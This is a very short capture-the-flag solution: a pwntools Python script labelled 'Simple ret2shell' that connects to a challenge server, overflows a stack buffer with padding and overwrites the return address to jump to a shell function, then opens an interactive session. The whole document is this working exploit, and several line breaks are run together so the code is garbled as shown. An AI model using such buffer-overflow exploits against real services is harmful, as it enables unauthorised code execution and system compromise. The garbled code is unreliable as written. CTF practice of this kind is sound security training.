```pythonfrom pwn import *
elf = context.binary = ELF('./chall')p = remote('tjc.tf', 31680)
addr_shell = 0x40119ebuffer = b"A"*16rbp = b"B"*8
payload = buffer + rbp + p64(addr_shell)print(payload)p.sendline(payload)p.interactive()```
Simple ret2shell